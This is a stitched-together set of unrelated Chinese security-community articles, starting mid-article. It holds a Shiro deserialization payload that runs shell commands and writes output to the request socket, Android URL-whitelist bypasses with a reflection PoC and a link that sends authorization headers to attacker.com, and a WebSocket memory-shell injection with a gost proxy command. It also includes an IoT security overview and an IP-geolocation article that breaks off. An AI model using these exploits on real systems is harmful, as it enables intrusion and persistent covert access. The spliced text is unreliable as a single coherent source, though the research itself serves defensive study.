这里给出获取socket文件描述符我的一个低配版思路及实现，至于为啥是低配版会在文章最后提到。首先注意到socket后面的数字不同，这个数字实际上是inode号。这个inode号也出现在/proc/net/tcp中。
注意到每一个inode号对应唯一条tcp连接信息，并且这条信息中的remote_address项记录了远程连接的ip和端口号。说到这里其实获取socket思路就很明显了：通过指定客户端发起请求的源端口号，通过cat
grep awk组合大法在tcp表中拿到inode，用拿到的inode号再去fd目录下再用cat grep
wak大法拿到文件描述符的数字，再调用java代码打开文件描述符即可实现带内回显。
## 实现细节
### 指定端口号
requests库可以重新实现Http达到指定请求端口的目的。
class SourcePortAdapter(HTTPAdapter):
""""Transport adapter" that allows us to set the source port."""
def __init__(self, port, *args, **kwargs):
self._source_port = port
super(SourcePortAdapter, self).__init__(*args, **kwargs)
def init_poolmanager(self, connections, maxsize, block=False):
self.poolmanager = PoolManager(
num_pools=connections, maxsize=maxsize,
block=block, source_address=('', self._source_port))
s = requests.Session()
s.mount(target, SourcePortAdapter(randNum))
resp = s.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=5, headers=headers, verify=False)
### 获取socket对应的文件描述符
整个流程使用的命令如下
a=`cat /proc/$PPID/net/tcp6|awk '{if($10>0)print}'|grep -i %s|awk '{print $10}'`;
b=`ls -l /proc/$PPID/fd|grep $a|awk '{print $9}'`;
echo -n $b
### 往文件描述中写数据
现在假设shiro存在反序列化并且所用gadget的末端是走的TemplatesImpl，那么我们可以把ysoserial中的硬编码的命令执行改成下面这样的代码执行。
String[] cmd = { "/bin/sh", "-c", "a=`cat /proc/$PPID/net/tcp6|awk '{if($10>0)print}'|grep -i %s|awk '{print $10}'`;b=`ls -l /proc/$PPID/fd|grep $a|awk '{print $9}'`;echo -n $b"};
java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
java.io.InputStreamReader isr = new java.io.InputStreamReader(in);
java.io.BufferedReader br = new java.io.BufferedReader(isr);
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = br.readLine()) != null){
stringBuilder.append(line);
}
int num = Integer.valueOf(stringBuilder.toString()).intValue();
cmd = new String[]{"/bin/sh","-c","ifconfig"};
in = Runtime.getRuntime().exec(cmd).getInputStream();
isr = new java.io.InputStreamReader(in);
br = new java.io.BufferedReader(isr);
stringBuilder = new StringBuilder();
while ((line = br.readLine()) != null){
stringBuilder.append(line);
}
String ret = stringBuilder.toString();
java.lang.reflect.Constructor c=java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});
c.setAccessible(true);
java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor)c.newInstance(new Object[]{new Integer(num)}));
os.write(ret.getBytes());
os.close();
我这种低配版指令ifconfig后效果实现效果如下，服务端会直接返回数据并断掉连接，所以没有了后面http响应包，requests库无法识别返回的内容报错。
## 总结
1. 我这种方法因为需要保证请求源端口，所以没办法按照图中师傅实现的一样在burp中（burp代理后发起请求的端口不可控）。同样的道理如果脆弱的shiro应用在反代后面，因为反代的源端口不可预测所以没办法用这种低配版方案拿到回显。但实际情况不出网的shiro肯定是在内网里面的，所以从这角度想想还有点鸡肋，就当抛砖引玉了～
2. 在上面引用的文章中提到了 “jvm所有的对象都存储在堆内存中，也许可以通过某种方法直接获取存储在堆内存中的socket对象实现回显”，我猜可以在burp里面利用的情况应该是通过某种黑魔法获取到了本次请求的socket对象了（或者是更底层的方法）所以才不要以客户端源口作为过滤条件。
3. 写到这忽然想起，那个图片payload貌似没有打码，或许把头铁把payload敲出来用shiro常见的密钥撞一下撞可以看到标准版思路的片段？体力不够，溜了。
研究这个问题时候也请教了相关的大哥接收到了一些提示，因为属于他人知识产权，文章并未提及。在此谢过指点我的大哥们。 | 社区文章 |
# 物联网操作系统安全性分析
|
##### 译文声明
本文是翻译文章，文章来源：drops.wooyun.org
原文地址：<http://drops.wooyun.org/wireless/8338>
译文仅供参考，具体内容表达以及含义原文为准。
**0x00 前言**
物联网目前是继移动互联网之后的又一个未来IT发展的蓝海。智能设备的不断涌现已经在不知不觉中占领我们的生活,颠覆我们的原有的思维模式,记得前几年我还带着一块天梭的机械手表,近段时间地铁好多人都佩戴iWatch等智能手表。还有智能手环、智能灯等在不断的改变我们的生活方式。那么这些智能设备具体的IT架构是什么?他们的安全性设计如何?对于信息安全工作者,有必要研究一下。
物联网操作系统,其实和传统的windows操作系统大同小异,但是经过一段时间的调研,才发现它不光由本地物联网设备上的操作系统组成,还包括提供物联网终端设备支持的云端架构。所以,我们的安全研究范围锁定在以下3个方面:
IoT终端和云端通讯协议的安全
物联网终端安全
云端IT架构的安全性
**0x01 物联网云协议安全性分析**
针对于智能家居等物联网设备,接入到互联网进行数据交换,安全风险性就非常大,如果处理不好,可能就会像黑客电影中桥段:通过网络把你家的智能门锁打开。
那么,物联网操作系统具体怎么连接互联网呢?
其中物联网终端(例如:灯泡)有两种连接方式,
连接IoT gateway网关,再通过IoT gateway网关 连接家里的wifi路由器上网。
物联网设备直接通过自己的wifi模块(或者直接集成GPRS/3G/4G连接模块)连接家中路由器上网。
这两种连接方式都有现实存在的意思,直连的一般都是大型家电设备,因为节点量比较少,互联网可以通过物联网协议直接控制,wifi模块信号强。但是像插座、灯泡这种小的终端设备还是连接到IoT
gateway网关中转后再连接互联网。
那么物联网协议都有哪些呢?
那么,从商业模式上分析,大公司一般是通过移动端(手机开发SDK)、云端(建立开源物联网云平台)、设备端(物联网连接硬件和软件SDK)、然后使开发者通过众筹方式,开发硬件,但是传递到云端的数据归物联网公司平台拥有。最后通过自己的电商销售渠道卖给用户。通过上述流程物联网生态系统,拥有物联网大数据,在资本市场上大捞一笔。
很显然,如果要研究物联网通讯协议,就必须了解做为展示和输入输出设备的手机端物联网SDK调用,物联网设备端硬件支持的协议SDK、以及云端对以上各种协议支持的具体体现。
国外市面上有很多开源的协议。
AllSeen Alliance AllJoyn
开放互联网联盟 Open Interconnect Iotivity
国内在这些开源协议之上有建立了一层物联网操作系统。
技术型的华为LiteOS,重点在嵌入式物联网设备。(伪开源,到目前为止github上没看到上传的源码)
业务型的京东智能云,重点是通过众筹吸引硬件开发团队合作。通过自己互联网商城销售。
当然还有一些创新型公司
那么,我们先分析一下其相关的SDK,是怎么处理数据的:
**(一)物联网终端设计**
****
安全层可以看出一般在协MQTT等议栈中实现,如果协议栈中没有实现,那只能在Application SDK API中实现。
在终端实现其安全特性还有几个问题要考虑:
物联网终端的内存和硬盘都很有限。
物联网终端电源有限,很多安全设计,例如:心跳检测时间不能太近等。
一般和云通讯会有Cloud key 和自己设备本身的private key。通过SSL隧道交换秘钥。
和云端通讯函数。
同时,查看了iOS手机端控制部分,由于是部分开源,dot m实现函数已经屏蔽,无法了解其内部逻辑。
小结:由于某云厂商相应的硬件端源码开发不完全,只能看到这些,同时、强烈鄙视这种伪开源的行为。
可以看出使用非对称秘钥加密传输数据到云端。同时,发现设置开发测试模式和生产环境的云端连接域名。当然,证书验证等没看到。
**(二)物联网云端设计**
****
云端设计、一般要有几个模块要考虑:
账号处理模块:主要是和用户互交。
设备管理模块:绑定用户和设备的关系。
OTA模块:升级固件功能
定时执行模块:定期执行相关任务
大数据分析模块:这个要看具体的应用了,比如说:全国路由器信号排行榜,以及你打败了多少人的路由器。等
当然,还有很多功能,就不一一讲解。先举例说明一下OTA模块
**No.1 OTA(Over The Air) 服务 推送文件到设备端。**
@param $deviceId 整数,是要被升级的设备的逻辑ID。
@param $toVersion 字符串,表示升级的目标版本号,如:2-0-3。
@param $OTAHash字符串, 验证逻辑固件。
文件存储服务。向BlobStore服务上传文件。
@param $bucket 给定的类别名字。
@param $filePath 要被上传的文件的本地路径。
@param $name 可以指定文件被上传后在服务器端的存储名字。如果未指定,则使用从$filePath在提取到的文件名。
提供存储服务是为了进行固件升级。同时,物联网硬件开发商可以在自己的私有云中上传固件,然后存储到物联网云平台,更新给联网的物联网终端设备。
**No.2 设备管理模块:这里面设计一个带时间限制分享码(其实就是web服务中的session的意思)**
设计设备的管理员用户获取设备的分享码。
@param $deviceId 要操作的对象的逻辑ID。整数。
@param $user ACUser对象,表示该设备的管理员用户。
@param $timeout 生成的分享码的有效时长。以秒为单位。
小结:云端对多租户的设计,主要体现在不同DNS域名隔离不同的企业物联网应用。服务器端么法发现使用HTTPS的通讯协议,难道是云服务商为了节省成本?设备分享码的设计确实很前卫。
**0x02 物联网操作系统安全建议**
目前,物联网还在发展之中,把通讯协议直接裸奔在固件上也无可厚非。但是还是有几条提醒各位物联网玩家。
当物联网设备无网络连接时、云端立刻通知。
OTA升级、出现重大安全漏洞要厂商直接推送更新固件。
设置强密码Policy 要求12位以上,同时使用数字、特殊符号和字母的组合。如果条件允许尽量使用双因素方式认证(Two-factor
authentication)
使用SSL/TLS连接云端传输数据(HTTPS+ AES 128bit
encryption),尽量不要在物联网终端设备上存储数据,以免被黑。如果必须在本地存储请加密,同时加密备份到云端一份。如果再安全一点可以使用TPM处理,把秘钥存储到类似U盘的设备当中做认证。
如果使用SSL,检查两端(服务器和客户端)的证书,不允许使用自签名证书。
云端处理好多租户问题,尽量做到操作系统层面、数据层面的隔离。 | 社区文章 |
# 绕过Android域名白名单校验的方法
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0\. 引言
很多 Android 组件都有响应外部链接的能力，如果攻击者能随意的指定这些组件所响应的 url，轻则可以引导被攻击的 APP
弹出钓鱼页面，重则可能远程执行恶意 js 代码。 因此 APP 开发者必然要对传入的 url
进行校验，而设置域名白名单就是一种简单常见且具有较高安全性的防御方法。
然而由于一些开发者并不完全通晓调用方法的底层特性，使得看起来万无一失的白名单校验形同虚设。 本文列举几种常见的 Android
域名白名单校验写法，并深入源码指出其中存在的风险和绕过方法。
## 1\. Url加入反斜杠”\”
### 1.1. 方法描述
先来看一种典型的域名校验写法:
/* Uri 结构
* [scheme:][//authority][path][?query][#fragment]
*/
[check_v1]
Uri uri = Uri.parse(attackerControlledString);
if ("legitimate.com".equals(uri.getHost()) || uri.getHost().endsWith(".legitimate.com")) {
webView.loadUrl(attackerControlledString, getAuthorizationHeaders());
// or webView.loadUrl(uri.toString())
}
然而…
String url = "http://attacker.com\\.legitimate.com/smth";
Log.d("getHost:", Uri.parse(url).getHost()); // 输出 attacker.com\.legitimate.com !
if (Uri.parse(url).getHost().endsWith(".legitimate.com")) {
webView.loadUrl(url, getAuthorizationHeaders()); // 成功加载 attacker.com！
}
可以看到 getHost() 和 loadUrl()
的表现不一致，if检验跳转目标是legitimate.com，但执行时浏览器会把反斜线纠正为正斜线去访问attacker.com。 那么如果是用
equals() 来做完整的 host 检验该怎么办呢？ 只需加一个‘@’就能隔断非法前缀。
String url = "http://attacker.com\\@legitimate.com/smth";
Log.d("Wow", Uri.parse(url).getHost()); // 输出 legitimate.com!
webView.loadUrl(url, getAuthorizationHeaders()); // 加载 attacker.com！
### 1.2. 分析原因
看来android.net.Uri的 parse() 是有安全缺陷的，我们扒拉一下代码定位问题…
[frameworks/base/core/java/android/net/Uri.java]
public static Uri parse(String uriString) {
return new StringUri(uriString);
}
继续看这个内部类StringUri
[frameworks/base/core/java/android/net/Uri.java]
private static class StringUri extends AbstractHierarchicalUri {
...
private StringUri(String uriString) {
this.uriString = uriString;
}
...
private Part getAuthorityPart() {
if (authority == null) {
String encodedAuthority
= parseAuthority(this.uriString, findSchemeSeparator());
return authority = Part.fromEncoded(encodedAuthority);
}
return authority;
}
...
static String parseAuthority(String uriString, int ssi) {
int length = uriString.length();
// If "//" follows the scheme separator, we have an authority.
if (length > ssi + 2
&& uriString.charAt(ssi + 1) == '/'
&& uriString.charAt(ssi + 2) == '/') {
// We have an authority.
// Look for the start of the path, query, or fragment, or the
// end of the string.
int end = ssi + 3;
LOOP: while (end < length) {
switch (uriString.charAt(end)) {
case '/': // Start of path
case '?': // Start of query
case '#': // Start of fragment
break LOOP;
}
end++;
}
return uriString.substring(ssi + 3, end);
} else {
return null;
}
}
}
这里就明显看到StringUri没有对authority部分做反斜杠的识别处理,
接着找StringUri的父类AbstractHierarchicalUri瞧瞧
[frameworks/base/core/java/android/net/Uri.java]
private abstract static class AbstractHierarchicalUri extends Uri {
private String parseUserInfo() {
String authority = getEncodedAuthority();
int end = authority.indexOf('@');
return end == NOT_FOUND ? null : authority.substring(0, end);
}
...
private String parseHost() {
String authority = getEncodedAuthority();
// Parse out user info and then port.
int userInfoSeparator = authority.indexOf('@');
int portSeparator = authority.indexOf(':', userInfoSeparator);
String encodedHost = portSeparator == NOT_FOUND
? authority.substring(userInfoSeparator + 1)
: authority.substring(userInfoSeparator + 1, portSeparator);
return decode(encodedHost);
}
}
就在这里把@符号之前内容的作为 UserInfo 给切断了，host 内容从@符号之后算起。（这里其实存在另一个 bug，没有考虑多个@的情况）
### 1.3. 影响范围
Google 在 2018年4月的 Android
安全公告里发布了这个漏洞[CVE-2017-13274](https://source.android.com/security/bulletin/2018-04-01#android-runtime)的[补丁](https://android.googlesource.com/platform/frameworks/base/+/0b57631939f5824afef06517df723d2e766e0159%5E%21/)
通过 [AndroidXRef](http://androidxref.com/) 查询，这个补丁在 Oreo – 8.1.0_r33 才加入到原生源码中。
所以安全补丁日期早于2018-04-01的系统都受影响，而 Google 一般通过协议要求 OEM
厂商保证产品上市之后两年内按期打安全补丁。那么经过推算得出 Android 6及以下的系统都受影响。
PS：url含多个@的情况也在2018年1月的补丁中进行了修复[CVE-2017-13176](https://android.googlesource.com/platform/frameworks/base/+/4afa0352d6c1046f9e9b67fbf0011bcd751fcbb5%5E%21/)
## 2\. 反射调用HierarchicalUri构造Uri
## 2.1. 检查UserInfo
上一节提到了@的截取的特性，会把恶意地址前缀attacker.com存入 UserInfo，那么现在改进校验方法, 加上 UserInfo
的检查是不是就万无一失了呢？
[check_v2]
Uri uri = getIntent().getData();
boolean isOurDomain = "https".equals(uri.getScheme()) &&
uri.getUserInfo() == null &&
"legitimate.com".equals(uri.getHost());
if (isOurDomain) {
webView.load(uri.toString(), getAuthorizationHeaders());
}
## 2.2. 挖掘思路
我们还是看android.net.Uri源码，发现除了StringUri，还有一个内部类也 HierarchicalUri 也继承了
AbstractHierarchicalUri
[frameworks/base/core/java/android/net/Uri.java]
private static class HierarchicalUri extends AbstractHierarchicalUri {
private final String scheme; // can be null
private final Part authority;
private final PathPart path;
private final Part query;
private final Part fragment;
private HierarchicalUri(String scheme, Part authority, PathPart path, Part query, Part fragment) {
this.scheme = scheme;
this.authority = Part.nonNull(authority);
this.path = path == null ? PathPart.NULL : path;
this.query = Part.nonNull(query);
this.fragment = Part.nonNull(fragment);
}
...
}
而 AbstractHierarchicalUri 又是继承自 Uri，所以很容易想到，通过反射调用 HierarchicalUri
这个私有构造函数，传入构造好的 authority 和 path, 创建一个任意可控的 Uri 实例。 继续查看 Part 和 PathPart
类的构造方法：
static class Part extends AbstractPart {
private Part(String encoded, String decoded) {
super(encoded, decoded);
}
}
static class PathPart extends AbstractPart {
private PathPart(String encoded, String decoded) {
super(encoded, decoded);
}
}
### 2.3. 构造PoC
由此构造 PoC 如下：
public void PoC() {
private static final String TAG = "PoC";
String attackerUri = "@attacker.com";
String legitimateUri = "legitimate.com";
try {
Class partClass = Class.forName("android.net.Uri$Part");
Constructor partConstructor = partClass.getDeclaredConstructors()[0];
partConstructor.setAccessible(true);
Class pathPartClass = Class.forName("android.net.Uri$PathPart");
Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
pathPartConstructor.setAccessible(true);
Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
hierarchicalUriConstructor.setAccessible(true);
Object authority = partConstructor.newInstance(legitimateUri, legitimateUri);
Object path = pathPartConstructor.newInstance(attackerUri, attackerUri);
Uri uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);
Log.d(TAG, "Scheme: " + uri.getScheme());
Log.d(TAG, "UserInfo: " + uri.getUserInfo());
Log.d(TAG, "Host: " + uri.getHost());
Log.d(TAG, "toString(): " + uri.toString());
} catch (Exception e) {
throw new RuntimeException(e);
}
Intent intent = new Intent("android.intent.action.VIEW");
intent.setClassName(Victim_packageName, Victim_className);
intent.setData(uri);
intent.addFlags(268435456);
startActivity(intent);
}
logcat 输出：
07-07 19:00:36.765 9209 9209 D PoC : Scheme: https
07-07 19:00:36.765 9209 9209 D PoC : UserInfo: null
07-07 19:00:36.765 9209 9209 D PoC : Host: legitimate.com
07-07 19:00:36.765 9209 9209 D PoC : toString(): https://[email protected]
从输出日志可以看到，通过此反射方法构造的 Uri 对象，可以通过 check_v2 方法对 Scheme、 UserInfo 和 Host 的三项检验，但
toString() 方法的值https://[email protected]，才是被攻击的 Activity
拉起的实际地址。如前所述，@符号之后的 attacker.com 便成为了最终访问的 host。
### 2.4. 限制与绕过
Android P 之后 Google 对 non-sdk 的 @hide API 进行了限制。Android Studio
也会给出如下提示，并且让这种反射调用在运行时报错失败。
Accessing internal APIs via reflection is not supported and may not work on
all devices or in the future less… (Ctrl+F1) Inspection info:Using reflection
to access hidden/private Android APIs is not safe; it will often not work on
devices from other vendors, and it may suddenly stop working (if the API is
removed) or crash spectacularly (if the API behavior changes, since there are
no guarantees for compatibility). Issue id: PrivateApi
截止到目前——Android Q Beta 4，还是有[绕过的方法](https://github.com/tiann/FreeReflection),
关于绕过原理的梳理不在本文议题范围。
### 2.5. 修复方法
抵御这种攻击的方法也非常简单，对传入的 Uri 对象加一次 parse() 再做 check_v2 即可。
事实上，有大量的开发者因为不了解这个性质，认为传入的 url 已经是”正常“通过 Uri.parse() 构造的，直接信任放行。
## 3\. 远程利用方法1
我们知道，通过在组件中注册 intent-filter，App 可以响应浏览器应用或短信应用访问的外链。 典型的一个配置写法如下，只有 <data>
标签中指定的内容和 Intent 中携带的 Data 完全一致时，当前活动才能响应该 Intent。
<activity android:name=".DeeplinkActivity">
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="https" android:host="legitimate.com"/>
</intent-filter>
</activity>
前面两种方法我们都是用安装恶意 App 或 ADB 命令来触发攻击，注意到 Android 对 <data> 定义的属性，也是通过
parsedIntent.getData().getHost() 来进行匹配的，我们很自然的想到尝试远程利用。
<!-- <a href="[scheme]://[host]/[path]?[query]">调用格式</a>
-->
<a href="https://attacker.com\\@legitimate.com/">Click Attack v1</a>
<a href="https://attacker.com%5C%[email protected]/">Click Attack v2</a>
然而，对于第一个链接，浏览器会自动把反斜杠 “\” 纠正为正斜杠 “/” 对于第二个链接，反斜杠 “\” 会以 URL 编码形式保留而无法触发方法1
通过仔细研究intent://scheme的[工作机制](http://androidxref.com/8.1.0_r33/xref/frameworks/base/core/java/android/content/Intent.java#6021)，发现可以通过如下方式保留反斜杠
“\” 的方法：
PoC:
<a href="intent://not_used/#Intent;scheme=https://attacker.com\\@legitimate.com/;end">Click Attack v3</a>
跟踪[源码](http://androidxref.com/8.1.0_r33/xref/frameworks/base/core/java/android/content/Intent.java#6123)，可以看到，访问这个链接，等价于执行：
Uri.parse("https://attacker.com\\\\@legitimate.com/://not_used/")
从而实现方法1的远程执行版本
## 4\. 缺少scheme验证
实战不乏有些 App 对 host 做了校验，但却遗漏了对 scheme 的检查。
可以用下面的 uri， 尝试进行 js 和 file 域的 PoC
javascript://legitimate.com/%0aalert(1)//
file://legitimate.com/sdcard/payload.html
## 5\. 参考链接
https://hackerone.com/reports/431002 | 社区文章 |
# **WebSocket 内存马，一种新型内存马技术**
### 1.前言
WebSocket是一种全双工通信协议，即客户端可以向服务端发送请求，服务端也可以主动向客户端推送数据。这样的特点，使得它在一些实时性要求比较高的场景效果斐然（比如微信朋友圈实时通知、在线协同编辑等）。主流浏览器以及一些常见服务端通信框架（Tomcat、netty、undertow、webLogic等）都对WebSocket进行了技术支持。
### 2.版本
2013年以前还没出JSR356标准，Tomcat就对Websocket做了支持，自定义API，再后来有了JSR356，Tomcat立马紧跟潮流，废弃自定义的API，实现JSR356那一套，这就使得在Tomcat7.0.47之后的版本和之前的版本实现方式并不一样，接入方式也改变了。
JSR356 是java制定的websocket编程规范，属于Java EE 7 的一部分，所以要实现websocket内存马并不需要任何第三方依赖
### 3.服务端实现方式
#### （1）注解方式
@ServerEndpoint(value = "/ws/{userId}", encoders = {MessageEncoder.class}, decoders = {MessageDecoder.class}, configurator = MyServerConfigurator.class)
Tomcat在启动时会默认通过 WsSci 内的 ServletContainerInitializer 初始化 Listener 和
servlet。然后再扫描 `classpath`下带有 `@ServerEndpoint`注解的类进行
`addEndpoint`加入websocket服务
所以即使 Tomcat 没有扫描到 `@ServerEndpoint`注解的类，也会进行Listener和
servlet注册，这就是为什么所有Tomcat启动都能在memshell scanner内看到WsFilter
#### （2）继承抽象类Endpoint方式
继承抽象类 `Endpoint`方式比加注解 `@ServerEndpoint`方式更麻烦，主要是需要自己实现 `MessageHandler`和
`ServerApplicationConfig`。`@ServerEndpoint`的话都是使用默认的，原理上差不多，只是注解更自动化，更简洁
可以用代码更方便的控制 ServerEndpointConfig 内的属性
ServerEndpointConfig serverEndpointConfig = ServerEndpointConfig.Builder.create(WebSocketServerEndpoint3.class, "/ws/{userId}").decoders(decoderList).encoders(encoderList).configurator(new MyServerConfigurator()).build();
### 3.websocket内存马实现方法
之前提到过 Tomcat 在启动时会默认通过 WsSci 内的 ServletContainerInitializer 初始化 Listener 和
servlet。然后再扫描 `classpath`下带有 `@ServerEndpoint`注解的类进行
`addEndpoint`加入websocket服务
那如果在服务启动后我们再 addEndpoint
加入websocket服务行不行呢？答案是肯定的，而且非常简单只需要三步。创建一个ServerEndpointConfig，获取ws
ServerContainer，加入 ServerEndpointConfig，即可
ServerEndpointConfig config = ServerEndpointConfig.Builder.create(EndpointInject.class, "/ws").build();
ServerContainer container = (ServerContainer) req.getServletContext().getAttribute(ServerContainer.class.getName());
container.addEndpoint(config);
### 4.效果
首先利用i.jsp注入一个websocket服务，路径为/x，注入后利用ws连接即可执行命令
且通过memshell scanner查询不到任何异常（因为根本就没注册新的 Listener、servlet 或者 Filter）
### 5.代理
WebSocket是一种全双工通信协议，它可以用来做代理，且速度和普通的TCP代理一样快，这也是我研究websocket内存马的原因。
例如有一台不出网主机，有反序列化漏洞。
以前在这种场景下，可能会考虑上reGeorg或者利用端口复用来搭建代理。
现在可以利用反序列化漏洞直接注入websocket代理内存马，然后直接连上用上全双工通信协议的代理。
注入完内存马以后，使用 Gost：<https://github.com/go-gost/gost> 连接代理
./gost -L "socks5://:1080" -F "ws://127.0.0.1:8080?path=/proxy"
然后连接本地1080端口socks5即可使用代理
### 6.多功能shell实现
想要使用ws马首先得支持连接ws协议的工具，目前市面的webshell管理工具都要从源码上修改才能支持ws协议
具体实现过程也并不复杂，相当于只是替换了协议，内容其实可以不变。例如给出的哥斯拉支持样例，基本逻辑并没发生改变，只是协议变了
还有一个问题是ws马必须先注入再连接，并不能直接连接jsp马。
然而例如哥斯拉的jsp马本身就是支持远程代码执行，那么jsp马其实可以保持不变就用哥斯拉原版，但发送class要修改，先发送过去先初始化注册ws马的class，连上ws以后再初始化恶意class，多一步，第二步连接的时候使用ws连接。
如果是内存注入的内存马则不需要连接jsp，直接连接ws
## 版权声明
完整代码：<https://github.com/veo/wsMemShell>
本文章著作权归作者所有。转载请注明出处！<https://github.com/veo> | 社区文章 |
# Author:戒小贤@同盾反欺诈研究院
今日，就来跟大家聊聊关于IP地址方方面面的研究，其实可以归到三个问题上：
**1、这个IP在哪儿？**
**2、这个IP是什么？**
**3、这个IP干了什么？**
看似简单的问题，但每个都需要投入巨大深入研究的代价。同盾科技在IP画像研发过程中，我们接触了国内外很多出色的IP地址数据服务商，也经过诸多的测试与调研，最终我们选择了最优的平台，作为我们的基础数据供应商，在这些数据的基础上，产生出了更加丰富的信息，最终投入到各个风控场景中进行使用。
**关于IP的一些冷知识：**
IP地址(本文中特指IPv4地址)，是用于标识网络和主机的一种逻辑标识。依托于强大的TCP/IP协议，使得我们可以凭借一个IP地址，就访问互联网上的所有资源。
IP地址本质上，只是一个32位的无符号整型(unsigned int)，范围从0 ~ 2^32
，总计约43亿个IP地址。为了便于使用，一般使用字符串形式的IP地址，也就是我们平常用到的192.168.0.1这种形式。实际上，就是把整数，每8个二进制位转换成对应的十进制整数，以点分隔的形式使用。
比如，192.168.0.1和3232235521是等价的。
1
1
当今全球，互联网系统共分为四大区域，每一个区域都由一件互联网的本体，通过光缆覆盖信号。这四大区域分别被命名为：格兰芬多，斯莱特林，赫奇帕奇以及拉文克劳......
这是《爱情公寓3》中的一个让人捧腹的桥段。虽然是恶搞，但是有一件事儿说对了，互联网确实是分区域的。
**全球共有五个区域互联网注册机构(RIR)，分别是：**
美洲互联网号码注册管理机构（American Registry for Internet Numbers，ARIN）；
欧洲IP网络资源协调中心（RIPE Network Coordination Centre，RIPE NCC）；
亚太网络信息中心（Asia-Pacific Network Information Centre，APNIC）；
拉丁美洲及加勒比地区互联网地址注册管理机构（Latin American and Caribbean Internet Address
Registry，LACNIC）；
非洲网络信息中心（African Network Information Centre，AfriNIC）。
IP地址的划分，有RIR机构来进行统筹管理。负责亚洲地区IP地址分配的，就是APNIC，总部位于澳大利亚墨尔本。
各大RIR机构都提供了关于IP地址划分的登记信息，即whois记录。可以在各大RIR机构提供的whois查询页面上查看，或者使用whois命令查询：
whois信息中，会显示IP地址所属的网段，以及申请使用和维护这个网段的运营商。比如，上面的信息中显示，153.35.93.31隶属于江苏省联通。
某些黑客题材的电影中往往会出现使用whois直接查询得到了一个IP的位置，非常精确地定位到了一幢建筑物里。
这张截图来自于2015年上映的《BlackHat》，满满的槽点，都是导演YY出来的。
（导演：怪我咯？）
正餐之前，给大家稍加科普一下，下面我们就要进入主菜了。让我们逐一来解惑文章开篇提到的三个问题。
**NO.1 **** 这个IP在哪儿？**
前面提到IP的whois信息，其中包含了申请使用该IP的运营商信息，并且在网段描述信息中，会包含国籍和省份信息。
但是这样远远不够，风控场景中，我们需要更加精确的结果，需要知道这个IP具体在哪个城市、哪个乡镇，甚至希望能够精确到某一条街道或者小区。
曾有人问：我们的IP地址库是否能够提供这样的结果？可以确定用户在某个网吧、写字楼甚至某个小区？
那上面这样的IP数据库是如何产生的呢？
俗称“人海战术”。您可别不相信，直到今天，依然有众多的网友在为这个IP库提供数据更新，上报IP地址的确切位置。但我们无从考证这个位置信息是否真实准确，如果不能报保证数据的准确性，在风控决策中同盾是不会去使用的。
一种IP地址定位手段，是通过海量Traceroute信息来分析。
理论上，如果我能够得到所有IP相互之间Traceroute的信息，就可以绘制出整个互联网的链路图。
(上图来自于IPIP.NET提供的BestTrace工具)
每一次traceroute，都会返回详细的网络链路信息。积累了足够多的链路信息之后，就可以直观地看出，很多链路都经过了同一个IP，那么这个IP就是骨干节点或者区域的骨干节点。先确定出哪些节点是CN2骨干节点，进一步确定省级骨干节点，再逐一识别市县区级的骨干节点，最后得到全国范围内的网络分布。
以下是CAIDA的一份报告，使用了类似的原理，但统计的最小单位是AS(自治域)
原图地址：[img]<http://www.caida.org/research/topology/as_core_network/pics/2015/ascore-2015-jan-ipv4v6-poster-2000x1389.png[/img]圈的边缘，就是探测节点，中间的红色部分，就是全球互联网的骨干节点。原理虽然简单，但实现起来却没那么容易。>
首先，你得有足够数量的节点来探测、收集traceroute链路数据。其次，要有可靠的技术手段来及时分析探测到的结果，汇总形成IP地址数据库。据了解，DigitalElemet也用了类似的方式进行探测，在全球范围内一共部署了超过8万个探测节点。
根据这种网络链路探测的出的定位结果，业内又称之为“网络位置”。就是从互联网的结构上来说，我们最终确定了一个IP，被分配到了某个地方的运营商手里。
但是我们又遇到了很多其他的情况，给大家举几个简单的例子。
117.61.31.0 江苏省 南京市 电信
通过分析这个IP关联的所有定位数据，得到了如下的分布：
这种情况，我们称为“流量回源”。当用户在使用南京电信的手机卡上网时，无论用户身处哪里，他的流量都会回到南京电信，再转发出去，所以从IP上看，都会显示为一个南京的IP。
上面的定位信息分布，可以在RTB Asia的IP地址实验室中<https://ip.rtbasia.com/>
153.35.93.32 江苏省 南京市 联通
各种渠道的信息表明，这个IP确实分配到了南京联通，结果定位点全部落在了北京市的范围内。如果我们根据IP的定位结果来判断用户当前的位置，得到的结果肯定就错了。
难道前面提供的信息错了？其实是由于国内运营商对IP地址的划分和使用不透明，甚至特殊形式的租赁，导致北京的用户，分配到了一个南京的IP。
IP地址跨城市覆盖，覆盖范围非常大，用户位置和网络位置不在同一个城市甚至不在同一个省，都会影响到结果，无法准确给出判断。
另一方面，随着移动设备的普及，在用户允许的情况下，可以通过移动设备采集到设备上的GPS信息。前面大家看到的两张定位分布图，就是分析一个IP在历史上关联过的所有GPS定位绘制出来的。每一个红点，都表示曾经有一个用户这里出现过。再通过聚类和GPS反向解析，就可以预测一个IP下的用户，可能出现的地理位置。这个结果，我们又称之为“行为位置”。
这种分析方法看起来效果非常不错，但是却面临两个很重要的问题。
其一是，今年来设备作弊的方式层出不穷，如果没有有效的手段来保证数据的准确性和可靠性，最终得出的结果也会有偏差。
比如下面这里例子，定位点非常规整地分布在一个矩形区域内，而且覆盖到了海面上，做了深入的分析之后才发现这个IP下面有大量的作弊行为：
另一方面，依靠定位点分布来分析IP的定位，需要长时间积累GPS数据。人口密集的地方，这个数据积累可以只要一天，二线城市需要一周，三线城市就需要至少一个月了。此前还遇到一个位于塔克拉玛干沙漠中的基站IP，至今还没有过与之关联的GPS信息。如果某一天，IP地址被重新分配了，划分到另外一个城市去使用，就需要等上一周甚至一个月的时间，才能重新校正结果。而网络链路的分析可以很快感知到。
